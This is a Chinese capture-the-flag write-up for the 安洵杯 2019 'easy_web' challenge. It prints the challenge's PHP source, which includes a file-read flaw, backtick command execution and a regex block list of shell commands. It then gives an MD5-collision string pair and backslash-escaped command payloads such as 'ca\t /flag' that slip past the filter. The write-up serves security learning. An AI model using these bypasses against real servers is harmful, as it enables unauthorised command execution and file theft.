[安洵杯 2019]easy_web
[安洵杯 2019]easy_web
打开页面如图所示,在地址栏发现有img参数和空的cmd参数
对img参数进行解码,经过两次base64解码和Hex解码得到555.png
试着读取index.php的源码,也用同样的方式进行编码得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
放到img参数中发送
经过base64解码后得到源代码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixiï½ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
代码审计
1.MD5强绕过
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
//以post形式上传参数字符串a和b,ab不能相等,但是经过MD5加密后需要相等
对于一般的MD5强绕过(===)来说,可以直接用数组进行绕过,但是这题用了string强转换,所以利用字符串的MD5强绕过
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
这两串 url 编码进行 urldecode 后 md5 值相同,注意要放进 burp 执行,因为放 hackbar 里会对数据自动进行 url 编码。
2.cmd命令执行
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd))
这里对cmd的参数的关键字进行了正则匹配过滤,因为|\\|\\\\|只对双斜杠和四斜杠进行了过滤,正则中\\\才相当于一个\,对于preg_match这个函数可以通过单反斜杠\进行绕过,也就是说可以
ls -> l\s
cat -> ca\t
payload:
cmd=l\s+/ //列出根路径
cmd=ca\t%20/flag
绝对路径:cmd=/bin/ca\t%20/flag
stings读取flag:cmd=strings%20/flag
sort比较读取flag:cmd=sort%20/flag
//以后空格都尽量用%20代替
3.对于反斜杠的测试
php中:
echo '\'; //报错
echo '\\'; //返回\
echo '\\\'; //报错
echo '\\\\'; //返回\\
echo '\\\\\'; //报错
echo '\\\\\\'; //返回\\\
可以看出当\的数量为基数的时候都报错,偶数的时候返回一半的数量
4.对于sort的解释
sort的定义:
sort将文件的每一行作为一个单位相互比较,比较原则是从首字符向后依次按ASCII码进行比较,最后将它们按升序输出(就是按行排序)。
参考文章:
https://sculptor-liu.github.io/2021/03/20/%E5%AE%89%E6%B4%B5%E6%9D%AF-2019-easy-web/